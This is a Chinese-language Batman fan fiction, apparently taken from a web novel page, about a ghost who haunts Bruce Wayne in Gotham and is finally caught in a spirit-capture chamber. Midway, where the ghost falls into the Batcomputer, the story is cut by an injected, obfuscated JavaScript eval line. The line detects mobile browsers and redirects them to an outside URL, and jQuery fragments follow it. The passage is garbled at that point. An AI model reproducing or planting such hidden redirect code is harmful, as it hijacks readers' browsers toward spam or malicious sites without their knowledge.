哥谭的夜雨总是带着腐朽的铁锈味，像一座永远无法愈合的伤口。


    洛瑟尔睁开眼时，发现自己正漂浮在一条暗巷的半空中。


    没有实体，没有重量，仿佛只是一缕被风吹散的烟。他下意识抬手，却看到半透明的手指穿过了潮湿的砖墙——没有触感，没有温度，只有一种诡异的虚无。


    “……我死了？”


    他的声音在雨幕中消散，无人回应。


    记忆的最后，是刺耳的刹车声，刺目的车灯，以及自己推开那个孩子后被撞飞的剧痛。


    他本该死在原来的世界，死在被实验室追杀去救了一个孩子的路上。可此刻，他却飘在一条陌生的巷子里，四周是哥特式的建筑轮廓，远处滴水兽的剪影在雨幕中狰狞如活物。


    哥谭。


    这个名字像电流般窜过他的意识。他猛地抬头，看向远处高耸的韦恩大厦——那是他在漫画里见过无数次的标志性建筑。


    “我……穿越了？”


    茫然、荒谬、不可置信的情绪在胸腔里翻涌，可他没有心跳，没有呼吸，连这份震惊都显得虚幻。


    雨滴穿过他的身体砸在地上，霓虹的光晕在他的灵体上投下斑驳的色彩。他试着移动，发现自己的意识可以轻易穿透墙壁，像一阵风般掠过街道。


    “如果这是哥谭……”他的声音颤抖起来，“那布鲁斯·韦恩……蝙蝠侠……”


    他几乎是本能地朝着城市最边缘处的方向飘去——那里有一座在漫画里被反复描绘的庄园，埋葬了托马斯和玛莎·韦恩的坟墓，藏着蝙蝠洞的古老建筑。


    韦恩庄园的轮廓在大雨中浮现，尖顶刺破乌云，彩绘玻璃在雨雾中泛着幽光。


    洛瑟尔没有犹豫，直接穿过了铁门和高墙，像一缕游魂般滑过走廊、楼梯、紧闭的房门——


    然后，他停住了。


    卧室里，布鲁斯·韦恩正沉睡。


    他的黑发散在枕上，眉间还带着常年紧锁的痕迹，睫毛在睡梦中微微颤动。床头柜上放着一杯喝了一半的水，旁边是摘下的手表——秒针走动的声音在寂静的房间里清晰可闻。


    洛瑟尔的灵体僵在半空，紫罗兰色的瞳孔剧烈收缩。


    “真的是他……”


    他飘浮在布鲁斯·韦恩的卧室，月光透过纱帘，将沉睡中的男人轮廓镀上一层银边。蝙蝠侠的面具卸下了，此刻躺在四柱床上的，只是布鲁斯——那个他在漫画里追随了28年的灵魂。


    洛瑟尔的灵体微微震颤，半透明的手指悬在布鲁斯紧蹙的眉间，却不敢真正触碰。


    “真的是你......”他的低语着，作为游魂，他无法流泪，但灵魂深处泛起近乎疼痛的波澜。


    二十八年来收集的每一期蝙蝠侠漫画，每一部电影蓝光，甚至那张珍贵的初版海报——所有那些在另一个世界支撑他活下去的执念，此刻具象化为这个呼吸起伏的躯体。


    布鲁斯在睡梦中无意识地翻身，被子滑落露出肩胛上狰狞的伤疤——那是去年与小丑对决时留下的。洛瑟尔的灵体瞬间绷紧，某种超越物理形态的保护欲在虚无中沸腾。


    他熟知这个男人的每一道伤痕，就像熟知哥谭每一条暗巷。当阿卡姆的夜风吹动窗帘时，洛瑟尔本能地挡在窗前——尽管冷风只会穿过他透明的身体。


    二十八年的执念在此刻具象化。他曾在漫画里看过无数次布鲁斯的侧脸，曾在同人小说里想象过他的呼吸频率，曾在梦里构建过韦恩庄园的每一寸细节——但此刻，他就飘在这个真实存在的男人面前，近得能数清他的睫毛。


    他下意识伸手，想要触碰对方的脸，可半透明的手指只是徒劳地穿过皮肉，像穿过一团雾气。


    “……碰不到啊。”


    他的声音低得几乎听不见，带着某种失落的苦涩。


    但下一秒，布鲁斯突然睁开了眼。


    那双钢蓝色的瞳孔在黑暗中锐利如刀，仿佛能穿透灵体直视他的灵魂。洛瑟尔猛地后退，可布鲁斯的目光只是扫过他所在的位置，然后皱眉，伸手按向太阳穴。


    “阿尔弗雷德……我又做那个梦了。”


    他的声音低沉沙哑，带着疲惫。


    洛瑟尔这才意识到——布鲁斯看不见他。


    这个认知让他既庆幸又失落。他飘近了些，近乎贪婪地注视着对方的脸。布鲁斯的眼下有淡淡的青黑，嘴角紧绷，即使在睡梦中也没有完全放松。


    “……你比漫画里看起来更累。”他轻声说，明知对方听不见。


    洛瑟尔茫然的看着床上的人，飘起身体离开了庄园。


    直到破晓时分，阿尔弗雷德轻叩房门的声响惊醒了游魂。洛瑟尔最后凝视着布鲁斯睁开那双标志性的蓝眼睛，在管家进门的前一秒消散于阳光中。


    几个小时之后。


    “……”


    洛瑟尔从心的返回来了，他无言的看着庄园的大门。


    或许是潜意识作祟，又或许是这座哥特式建筑在雨夜里亮着的灯火太过醒目。他穿过雕花铁门时，冰冷的金属没有带来任何触感，庄园的防御系统对幽灵毫无反应。


    主卧的窗帘没拉严实，一道暖黄的光从缝隙漏出来。


    他飘到窗前，漫不经心地往里瞥了一眼——然后僵在了原地。


    布鲁斯·韦恩正坐在壁炉旁的扶手椅里，膝上摊着一本厚重的古籍，暖光将他的侧脸镀上一层柔和的轮廓。洛瑟尔的瞳孔剧烈收缩，半透明的指尖猛地抠进窗棂——尽管根本碰不到实物。


    这是他少有的休闲时刻。


    “布……鲁斯。”


    他的声音抖得不成样子。


    眼前的人和他记忆里分毫不差：微蹙的眉间那道竖纹，翻书时无意识摩挲纸页的指腹，甚至左手无名指上那道淡得几乎看不见的疤痕——那是第39期漫画里被猫女戒指划伤的痕迹。


    他看过太多次这张脸，漫画特写到同人图——但没有一个比得上此刻真实的温度。


    洛瑟尔近乎贪婪地贴到玻璃上，鼻尖几乎要穿过冰凉的表面。二十八年的执念在灵魂里烧出滚烫的痛感，他忽然庆幸自己现在是幽灵状态，否则剧烈的心跳声一定会惊动对方。


    ——


    凌晨2:17，蝙蝠洞


    布鲁斯放下咖啡杯的瞬间，洛瑟尔条件反射地往后飘了半米。


    他已经在蝙蝠洞徘徊了四十分钟，看着布鲁斯脱下睡袍换上制服，看着阿尔弗雷德调试蝙蝠车，看着全息屏幕上闪过小丑最新的犯罪预告——一切都和漫画设定一模一样，却又真实得让他窒息。


    而每当布鲁斯走过他“站立”的位置时，洛瑟尔鬼使神差地伸出手。


    半透明的指尖穿过对方肩甲的刹那，一股尖锐的刺痛突然扎进脑海！他惨叫一声蜷缩起来，无数画面在意识里爆炸——犯罪巷的珍珠，少年时的流浪，蝙蝠洞的第一夜——全部是布鲁斯的记忆。


    “谁？！” 布鲁斯猛地转身，三枚蝙蝠镖已经夹在指间。


    洛瑟尔惊恐地后退，却撞进了蝙蝠电脑的主机。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417701|168880||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    电流般的触感让他整个灵魂都在震颤，数据流像暴风雨般冲刷过意识。等他挣扎着脱离时，屏幕上的监控画面突然全部变成了雪花点。


    他惊慌的逃开蝙蝠电脑，让自己的灵体力量不再影响它。


    阿尔弗雷德皱眉检查线路：“奇怪，系统显示有能量波动……”


    布鲁斯的目光扫过空旷的洞穴，多米诺面具下的蓝眼睛微微眯起。有那么一瞬间，洛瑟尔觉得他看向了正确的位置。


    但他已经逃走了。


    黎明前的钟楼——


    洛瑟尔蜷缩在大钟的齿轮间，灵魂边缘泛起不稳定的波纹。


    触碰到布鲁斯时涌入的记忆还在灼烧他的意识，他猛的意识到，布鲁斯已经不再是一个漫画人物了。


    他在这个世界是一个真人，不是无知无觉的纸片，是个会流血会疲惫的活人。


    晨光穿透彩窗时，他慢慢摊开手掌。半透明的指尖在阳光下几乎消散，但那些记忆的残片却清晰得可怕：少年布鲁斯在犯罪巷的哭声，蝙蝠战衣下新增的伤疤，昨夜批改到一半的韦恩企业文件……


    洛瑟尔突然笑起来，身上激荡起来的灵体力场惊飞了栖息的鸽子。


    “原来如此。”他对着空荡荡的钟楼宣布，紫眼睛亮得惊人，“我不是来当幽灵的——”


    鸽群振翅的声音盖过了后半句。但当他俯冲向城市时，风带走了一句近乎温柔的叹息。


    “我是来见你的。”


    “布鲁斯。”


    韦恩庄园地下，蝙蝠侠正在检修的通讯器。屏幕上，一道异常的幽灵频率正闪烁微光。


    接下来的时间，洛瑟尔像一道影子般跟在布鲁斯身后。


    他飘在蝙蝠洞里，看着布鲁斯夜巡归来后处理伤口，看着他在全息投影前分析案件，看着他拒绝阿尔弗雷德递来的热牛奶。


    他见过布鲁斯在滴水兽上啃冷掉的三明治，见过他悄悄给流浪猫包扎伤口，见过他在迪克回家时装作不经意地探头去看。


    他渐渐发现，真实的布鲁斯·韦恩比漫画里的蝙蝠侠更复杂，更鲜活，也更孤独。


    此后每个夜晚，透明的影子都会准时出现在韦恩庄园。他旁观布鲁斯在蝙蝠洞调试装备，看他在全息地图前分析案情，甚至跟着夜巡的蝙蝠车穿梭于哥谭的楼宇之间——


    直到某天清晨，当他在蝙蝠洞天花板游荡时，突然被某种力量拽向地面。


    洛瑟尔惊愕地发现自己正站在泛着绿光的隔离舱里，而布鲁斯穿着睡袍站在控制台前，屏幕上闪烁着"灵体捕获舱已激活"的字样。


    “连续23天出现在我的蝙蝠洞，”布鲁斯的声音带着没喝完的咖啡的苦涩，“该谈谈你的目的了。”


    洛瑟尔突然笑起来，这个在死后才真正活过来的灵魂，第一次完整显现在哥谭的晨光中。他隔着屏障举起双手，紫罗兰色的眼睛弯成新月——就像他收藏的初版漫画第207卷的封面那样。


    “只是想告诉你，”他的声音像翻动漫画书页的沙沙响，“你长得比DC插画师画得好看多了。”


    控制台的监控画面突然切换成蝙蝠侠早期战衣的设计草图——那些从未公开的、布鲁斯少年时代的涂鸦。布鲁斯的手指在键盘上僵住，而洛瑟尔狡黠地眨眨眼，灵魂开始如褪色的墨水般消散。


    “我们还会再见面的，布鲁斯。”最后几个音节混进了蝙蝠洞的滴水声里。


    当屏障失效时，只余下一缕带着油墨味的微风，轻轻翻动了控制台上那摊开的资料页。